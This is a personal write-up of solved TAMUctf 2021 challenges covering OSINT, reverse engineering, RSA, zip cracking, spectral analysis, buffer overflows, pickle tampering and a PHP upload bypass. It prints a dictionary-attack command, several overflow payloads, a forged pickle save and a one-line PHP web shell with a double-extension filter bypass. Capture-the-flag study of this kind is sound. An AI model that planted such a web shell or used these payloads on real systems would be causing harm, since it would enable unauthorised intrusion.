TAMUctf 2021
I competed individually in TAMUctf 2021 which ran from April 22nd-25th. I finished the competition with 11/35 solves, 1150 points, placing 5th in the Texas A&M University bracket, and 65th overall in the global bracket with around 350 competitors/teams that submitted a flag. I was 50 points away from 6th place and 1500 points away from first place for the Texas A&M bracket.
The writeups below are for the challenges I solved. Fair warning, I am not a seasoned CTF player or compete regularly so my writeups will most likely not be the optimal solution.
Table of Contents
OSINT
Archival - Points: 50
I can’t remember the flag… it used to be on our website but when we updated it the flag got lost in the process. Since nothing ever gets deleted on the internet it should be safe, but how?
We were asked to retrieve the flag from the previous version of the tamuctf.com home page.
We can use Wayback Machine to see the previous version of the home page and retrieve the flag since it archives previous versions of a website that have been captured.
https://web.archive.org/web/20201028142907/https://tamuctf.com/
flag: gigem{s1t3_und3r_c0n57ruc710n}
Elizabeth is Missing - Points: 100
Friends have reported Elizabeth missing and need your help locating her! Can you follow the clues in the missing person flyer and find her most recent location?
file: eowens-flyer.pdf
When we open the PDF, there is a section indicating that it needs to be decrypted.
We can use a decimal to ASCII converter to get the decoded message.
https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html
When we call (979)-429-2176, we get sent straight to Elizabeth’s voicemail indicating she is on a retreat and mentions to keep up with her on her website. https://eowensphotography.weebly.com/
After visiting her site, we can use the web browser’s search feature and search for “gigem” to retrieve the flag on the home page
flag: gigem{3_0W3N5}
Reverse Engineering
Acrylic - Points: 100
This is an easy challenge. There is a flag that can be printed out from somewhere in this binary. Only one problem: There’s a lot of fake flags as well.
file: acrylic
> file acrylic.bin
acrylic.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a74dd043e900423b933455a724cf69c7e4840b28, not stripped
Loaded the binary in Ghidra and relabeled the get_flag function variables for easier readability.
Ran the get_flag code in a separate terminal to get the final value of a
which is 88.
We need to find the return address of the get_flag
function so we needed to compute flags + (long)a * 0x40
return value.
If we look in Ghidra, we can see the start address of the flags variable is 0x301020
.
We can now compute the return address of the get_flag function.
a * 0x40 = a * 64 = 88*64 = 5632 = 0x1600
flags + (long)a * 0x40 = 0x301020 + 0x1600 = 0x302620
Therefore, we need to find the string at memory address 0x302620
We can use the search→strings feature in Ghidra to find the specific address.
flag: gigem{counteradvise_orbitoides}
Crypto
Encoding - Points: 100
This is literally the flag but obfuscated through tons of different encoding schemes.
file: data.txt
We can use CyberChef magic function to analyze the data given to us.
When we analyze the data given in small chunks, we can see that it was encoded with octal encoding.
When we add more data, we can see that it was encoded with octal and hex and is decoded in binary format.
When we combine octal, hex, and binary decoding, we are able to get a string that looks like base64 encoding.
We can analyze the previous string and see that it was first encoded with base64 then base32.
Encoding scheme: base64→base32→binary→hex→octal
flag: gigem{3nc0ding_1s_n0t_crypt0_428427}
Basic RSA - Points: 100
To: Dr Rivest CC: Dr Shamir We found this code and these numbers. data.txt Mean anything to you? Sincerely
- Dr Adleman
file: data.txt
We were given the public key e
, modulus N
, and a list of cipher text c
We can compute the private key with d = e^-1 mod phi
We can find the prime factorization of N by using factordb.com
from Crypto.Util.number import inverse
N = 2095975199372471
e = 5449
p = 21094081
q = 99363191
c = [875597732337885,1079270043421597,616489707580218,2010079518477891,1620280754358135,616660320758264,86492804386481,171830236437002,1500250422231406,234060757406619,1461569132566245,897825842938043,2010079518477891,234060757406619,1620280754358135,2010079518477891,966944159095310,1669094464917286,1532683993596672,171830236437002,1461569132566245,2010079518477891,221195854354967,1500250422231406,234060757406619,355168739080744,616660320758264,1620280754358135]
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
flag = ""
for c2m in c:
m = pow(c2m, d, N)
flag += bytearray.fromhex(hex(m)[2:]).decode()
print("gigem{%s}" % flag)
flag: gigem{RSA_s3cur1ty_1s_4b0ut_pr1m3s}
Forensics
Unzip - Points: 100
Hey, can you unzip this for me?
We are given a zip file that is password protected. We can run the zip file against fcrackzip tool with a dictionary attack enabled to find the correct password.
> fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt chall.zip
password: hunter2
We can unzip the zip file with the password we found to get the file that contains the flag.
flag: gigem{d0esnt_looK_lik3_5t4rs_t0_M3}
Sigint
Spectral Imaging - Points: 100
Some things are meant to be heard but not seen. This sounds like it’s meant to be seen, not heard.
We can run the audio file through a spectral analyzer to visualize the audio signals.
Using the following tool will show the flag below. https://www.dcode.fr/spectral-analysis
flag: gigem{4ud10-m4d3-v15u4L}
PWN
Pancake - Points: 100
Attack this binary to get the flag!
> file ./pancake
./pancake: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f6216b4f441f42a2260220682ead74b9f61bc162, for GNU/Linux 3.2.0, not stripped
This binary appears to be vulnerable to buffer overflow since memory has been overwritten with our input.
Let’s now analyze this file with Ghidra to see the decompiled code.
We can notice that there is a comparison to 0x8406688
with a variable that has been initialized to zero.
We can write to the memory address of the variable that gets compared to 0x8406688
with the correct value to validate the comparison with the following command
> python -c "print('A'*67 + '\x88f@\x08')" | ./pancake
flag: gigem{b4s1c_b4ff3r_0verfl0w_g03s_y33t}
Handshake - Points: 150
Attack this binary and get the flag!
> file handshake
handshake: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=4095e5911cf4d421e08cfe6cb9010d029426e836, for GNU/Linux 3.2.0, not stripped
In this challenge, we just need to call a function that is not being called. There is a win
function that we can identify if we run readelf -s hankshake
.
> readelf -s handshake | grep win
62: 080491c2 222 FUNC GLOBAL DEFAULT 13 win
We need to convert address 0x080491c2
to 32-bit little endian and add it to over buffer overflow attack.
import pwn
print(pwn.p32(0x080491c2, endian='little'))
b'\xc2\x91\x04\x08'
We have to set the address stored in the instruction pointer to the address of the win function so it gets executed on the next instruction. We can find that the buffer size is 42 bytes before the program segfaults and append the address of the win function for the function to be called. I used sudo dmesg | grep segfault
to check the instruction pointer and by how much it was overwritten when the program segfaults with arbitrary input lengths until I found the size that was just big enough to overwrite the address stored in the instruction pointer.
> python -c "print('A'*42 + '\xc2\x91\x04\x08')" | ./hankshake
flag: gigem{r37urn_c0n7r0l1337}
TicTacToe - Points: 150
We are given a python file that runs a Tic-Tac-Toe game. After analyzing it, we can notice that this program is vulnerable to python pickle serialization.
https://dan.lousqui.fr/explaining-and-exploiting-deserialization-vulnerability-with-python-en.html
When we look at the source code, we can notice that the get_hash
function is not using the arguments that are being passed in so we can bypass the validation check when using option 4 in the program. Let’s create our own “code” that saves our progress with the hash of 0 wins but modify the number of wins to be greater or equal to the target number of wins which is 133713371337.
import pickle
import base64
data = {'wins': 133713371337, 'security': 'JmWnJJI4Wf0Tofe8nEjIBP+l9ceVBhgDEYdUCHAdOOE='}
print(base64.b64encode(pickle.dumps(data)).decode())
'gASVTQAAAAAAAAB9lCiMBHdpbnOUigXJIPAhH4wIc2VjdXJpdHmUjCxKbVduSkpJNFdmMFRvZmU4bkVqSUJQK2w5Y2VWQmhnREVZZFVDSEFkT09FPZR1Lg=='
Serialized data
variable: gASVTQAAAAAAAAB9lCiMBHdpbnOUigXJIPAhH4wIc2VjdXJpdHmUjCxKbVduSkpJNFdmMFRvZmU4bkVqSUJQK2w5Y2VWQmhnREVZZFVDSEFkT09FPZR1Lg==
After using the modified serialized input, the program deserializes it with the pickle load command and we are able to make the program believe we achieve the desired win score to retrieve the flag.
flag: gigem{h3y_7h47_d035n'7_l00k_l1k3_4_p1ckl3d_54v3}
Web
uphpload - Points: 100
I made a website to collect reaction images, feel free to upload some!
When we access the web page, we notice that it allows file uploads but after trying to upload a PHP file, we get a message specifying only jpg, gif, png, and jpeg file types are allowed.
We need to find a way to bypass the filter and the link below provides some useful techniques to do so.
https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf
We can create a uphpload.jpg.php
file to bypass the file extension filter and insert the following content to exploit RCE vulnerability on the web application.
<?php echo shell_exec($_GET['cmd']); ?>
We can confirm we have RCE on the web app by issuing a simple whoami
command.
We can now do a directory traversal attack to find the flag.
flag: gigem{R3vER5e_R3ver5e!}